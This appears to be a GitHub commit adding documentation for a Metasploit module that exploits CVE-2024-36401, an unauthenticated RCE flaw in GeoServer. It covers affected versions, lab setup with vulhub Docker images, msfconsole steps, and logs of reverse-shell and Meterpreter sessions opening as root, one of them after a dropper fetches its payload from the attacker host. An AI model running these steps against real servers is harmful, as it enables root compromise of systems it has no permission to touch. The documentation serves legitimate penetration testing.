Skip to content

Commit 92f6445

Browse files
h00die-gr3yh00die-gr3y
committed
added documentation
1 parent 1ee2131 commit 92f6445

File tree

1 file changed

+316
-0
lines changed

1 file changed

+316
-0
lines changed

‎documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md

Lines changed: 316 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,316 @@
1+
## Vulnerable Application
2+
3+
GeoServer is an open-source software server written in Java that provides the ability to view, edit, and sharegeospatial data.
4+
It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as
5+
Geographic Information System (GIS) databases, web-based data, and personal datasets.
6+
7+
In the GeoServer versions prior to `2.23.6`, between version `2.24.0` and `2.24.3` and in version `2.25.0`, `2.25.1`,
8+
multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input
9+
against a default GeoServer installation due to unsafely evaluating property names as `XPath` expressions.
10+
An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system.
11+
12+
The following GeoServer releases are tested:
13+
14+
**Osgeo.org Docker releases with Tomcat**
15+
* docker.osgeo.org/geoserver 2.25.0
16+
* docker.osgeo.org/geoserver 2.24.2
17+
* docker.osgeo.org/geoserver 2.23.2
18+
* docker.osgeo.org/geoserver 2.23.0
19+
* docker.osgeo.org/geoserver 2.21.1
20+
21+
**Vulhub Docker releases with Jetty**
22+
* vulhub/geoserver 2.23.2
23+
* vulhub/geoserver 2.22.1
24+
25+
**Linux binary installs with Jetty**
26+
* geoserver 2.23.5 on x64 Ubuntu 22.04
27+
* geoserver 2.23.5 on Raspberry PI-4 ARM64 Kali Linux 2024.4
28+
29+
## Installation steps to install the GeoServer web application
30+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/linux.html) for platform-independent Linux binary.
31+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/docker.html) for osgeo.org/geoserver docker images.
32+
* Use the docker-compose.yaml config file below to pull the vulhub geoserver docker images.
33+
```yaml
34+
version: '3'
35+
services:
36+
web:
37+
image: vulhub/geoserver:2.23.2
38+
ports:
39+
- "8080:8080"
40+
- "5005:5005"
41+
```
42+
* Pull and install the docker image with `docker compose up -d`
43+
* You should now be able to access the GeoServer web application via `http://your_ip:8080/geoserver`.
44+
45+
You are ready to test the module.
46+
47+
## Verification Steps
48+
49+
- [ ] Start `msfconsole`
50+
- [ ] `use exploit/multi/http/geoserver_unauth_rce_cve_2024_36401`
51+
- [ ] `set rhosts <ip-target>`
52+
- [ ] `set rport <port>`
53+
- [ ] `set lhost <attacker-ip>`
54+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
55+
- [ ] `exploit`
56+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
57+
58+
## Options
59+
No specific options.
60+
61+
## Scenarios
62+
```msf
63+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > info
64+
65+
Name: Geoserver unauthenticated Remote Code Execution
66+
Module: exploit/multi/http/geoserver_unauth_rce_cve_2024_36401
67+
Platform: Unix, Linux
68+
Arch: cmd, x86, x64, aarch64
69+
Privileged: Yes
70+
License: Metasploit Framework License (BSD)
71+
Rank: Excellent
72+
Disclosed: 2024-07-01
73+
74+
Provided by:
75+
h00die-gr3y <[email protected]>
76+
Steve Ikeoka
77+
78+
Module side effects:
79+
ioc-in-logs
80+
artifacts-on-disk
81+
82+
Module stability:
83+
crash-safe
84+
85+
Module reliability:
86+
repeatable-session
87+
88+
Available targets:
89+
Id Name
90+
-- ----
91+
=> 0 Unix Command
92+
1 Linux Dropper
93+
94+
Check supported:
95+
Yes
96+
97+
Basic options:
98+
Name Current Setting Required Description
99+
---- --------------- -------- -----------
100+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
101+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
102+
cs/using-metasploit.html
103+
RPORT 8080 yes The target port (TCP)
104+
SSL false no Negotiate SSL/TLS for outgoing connections
105+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
106+
TARGETURI / yes The URI path of the OpenMediaVault web application
107+
URIPATH no The URI to use for this exploit (default is random)
108+
VHOST no HTTP server virtual host
109+
110+
111+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
112+
113+
Name Current Setting Required Description
114+
---- --------------- -------- -----------
115+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
116+
local machine or 0.0.0.0 to listen on all addresses.
117+
SRVPORT 8080 yes The local port to listen on.
118+
119+
Payload information:
120+
121+
Description:
122+
GeoServer is an open-source software server written in Java that provides
123+
the ability to view, edit, and share geospatial data.
124+
It is designed to be a flexible, efficient solution for distributing geospatial data
125+
from a variety of sources such as Geographic Information System (GIS) databases,
126+
web-based data, and personal datasets.
127+
In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
128+
multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
129+
through specially crafted input against a default GeoServer installation due to unsafely
130+
evaluating property names as XPath expressions.
131+
An attacker can abuse this by sending a POST request with a malicious xpath expression
132+
to execute arbitrary commands as root on the system.
133+
134+
References:
135+
https://nvd.nist.gov/vuln/detail/CVE-2024-36401
136+
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
137+
https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
138+
https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401
139+
140+
141+
View the full module info with the info -d command.
142+
```
143+
### GeoServer 2.23.5 on x64 Ubuntu 22.04 - cmd/unix/reverse_bash
144+
```msf
145+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.86
146+
rhosts => 192.168.201.86
147+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
148+
lhost => 192.168.201.8
149+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
150+
151+
[*] Started reverse TCP handler on 192.168.201.8:4444
152+
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
154+
[+] The target is vulnerable. Version 2.23.5
155+
[*] Executing Unix Command for cmd/unix/reverse_bash
156+
[*] Command shell session 7 opened (192.168.201.8:4444 -> 192.168.201.86:54072) at 2024-07-11 16:09:30 +0000
157+
158+
id
159+
uid=0(root) gid=0(root) groups=0(root)
160+
uname -a
161+
Linux cuckoo 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
162+
pwd
163+
/usr/share/geoserver
164+
exit
165+
```
166+
### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - cmd/unix/reverse_bash
167+
```msf
168+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0
169+
target => 0
170+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10
171+
rhosts => 192.168.201.10
172+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
173+
lhost => 192.168.201.8
174+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
175+
176+
[*] Started reverse TCP handler on 192.168.201.8:4444
177+
[*] Running automatic check ("set AutoCheck false" to disable)
178+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
179+
[+] The target is vulnerable. Version 2.23.5
180+
[*] Executing Unix Command for cmd/unix/reverse_bash
181+
[*] Command shell session 8 opened (192.168.201.8:4444 -> 192.168.201.10:50292) at 2024-07-11 16:15:31 +0000
182+
183+
id
184+
uid=0(root) gid=0(root) groups=0(root)
185+
uname -a
186+
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-11) aarch64 GNU/Linux
187+
pwd
188+
/usr/share/geoserver
189+
exit
190+
```
191+
### GeoServer 2.23.2 on vulhub docker image - cmd/unix/reverse_bash
192+
```msf
193+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0
194+
target => 0
195+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.42
196+
rhosts => 192.168.201.10
197+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
198+
lhost => 192.168.201.8
199+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
200+
201+
[*] Started reverse TCP handler on 192.168.201.8:4444
202+
[*] Running automatic check ("set AutoCheck false" to disable)
203+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
204+
[+] The target is vulnerable. Version 2.23.2
205+
[*] Executing Unix Command for cmd/unix/reverse_bash
206+
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.42:60290) at 2024-07-11 18:42:08 +0000
207+
208+
id
209+
uid=0(root) gid=0(root) groups=0(root)
210+
uname -a
211+
Linux e3f986905bde 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 GNU/Linux
212+
pwd
213+
/mnt/geoserver
214+
```
215+
### GeoServer 2.23.2 on vulhub docker image - linux/x64/meterpreter_reverse_tcp
216+
```msf
217+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
218+
target => 1
219+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp
220+
payload => linux/x64/meterpreter_reverse_tcp
221+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set srvport 1981
222+
srvport => 1981
223+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
224+
225+
[*] Started reverse TCP handler on 192.168.201.8:4444
226+
[*] Running automatic check ("set AutoCheck false" to disable)
227+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
228+
[+] The target is vulnerable. Version 2.23.2
229+
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
230+
[*] Using URL: http://192.168.201.8:1981/FEflDEJ
231+
[*] Client 192.168.201.42 (curl/7.74.0) requested /FEflDEJ
232+
[*] Sending payload to 192.168.201.42 (curl/7.74.0)
233+
[*] Command Stager progress - 100.00% done (113/113 bytes)
234+
[*] Meterpreter session 10 opened (192.168.201.8:4444 -> 192.168.201.42:60353) at 2024-07-11 18:48:02 +0000
235+
[*] Server stopped.
236+
237+
meterpreter > sysinfo
238+
Computer : 172.21.0.2
239+
OS : Debian 11.3 (Linux 6.6.32-linuxkit)
240+
Architecture : x64
241+
BuildTuple : x86_64-linux-musl
242+
Meterpreter : x64/linux
243+
meterpreter > getuid
244+
Server username: root
245+
meterpreter > pwd
246+
/mnt/geoserver
247+
meterpreter >
248+
```
249+
### GeoServer 2.25.0 on osgeo.org/geoserver docker image - linux/x64/meterpreter_reverse_tcp
250+
```msf
251+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
252+
target => 1
253+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp
254+
payload => linux/x64/meterpreter_reverse_tcp
255+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
256+
257+
[*] Started reverse TCP handler on 192.168.201.8:4444
258+
[*] Running automatic check ("set AutoCheck false" to disable)
259+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
260+
[+] The target is vulnerable. Version 2.25.0
261+
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
262+
[*] Using URL: http://192.168.201.8:1981/CEkJIBo
263+
[*] Client 192.168.201.42 (curl/7.81.0) requested /CEkJIBo
264+
[*] Sending payload to 192.168.201.42 (curl/7.81.0)
265+
[*] Command Stager progress - 100.00% done (113/113 bytes)
266+
[*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:61350) at 2024-07-11 20:46:14 +0000
267+
[*] Server stopped.
268+
269+
meterpreter > sysinfo
270+
Computer : 172.17.0.2
271+
OS : Ubuntu 22.04 (Linux 6.6.32-linuxkit)
272+
Architecture : x64
273+
BuildTuple : x86_64-linux-musl
274+
Meterpreter : x64/linux
275+
meterpreter > getuid
276+
Server username: root
277+
meterpreter > pwd
278+
/opt
279+
meterpreter >
280+
```
281+
### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - linux/aarch64/meterpreter_reverse_tcp
282+
```msf
283+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
284+
target => 1
285+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/aarch64/meterpreter_reverse_tcp
286+
payload => linux/aarch64/meterpreter_reverse_tcp
287+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10
288+
rhosts => 192.168.201.10
289+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
290+
291+
[*] Started reverse TCP handler on 192.168.201.8:4444
292+
[*] Running automatic check ("set AutoCheck false" to disable)
293+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
294+
[+] The target is vulnerable. Version 2.23.5
295+
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
296+
[*] Using URL: http://192.168.201.8:1981/680jWmUv1qm
297+
[*] Client 192.168.201.10 (curl/8.5.0) requested /680jWmUv1qm
298+
[*] Sending payload to 192.168.201.10 (curl/8.5.0)
299+
[*] Command Stager progress - 100.00% done (117/117 bytes)
300+
[*] Meterpreter session 12 opened (192.168.201.8:4444 -> 192.168.201.10:60692) at 2024-07-11 21:04:34 +0000
301+
[*] Server stopped.
302+
303+
meterpreter > sysinfo
304+
Computer : 192.168.201.10
305+
OS : Debian (Linux 5.15.44-Re4son-v8l+)
306+
Architecture : aarch64
307+
BuildTuple : aarch64-linux-musl
308+
Meterpreter : aarch64/linux
309+
meterpreter > getuid
310+
Server username: root
311+
meterpreter > pwd
312+
/usr/share/geoserver
313+
meterpreter >
314+
```
315+
## Limitations
316+
No limitations.

0 commit comments

Comments
 (0)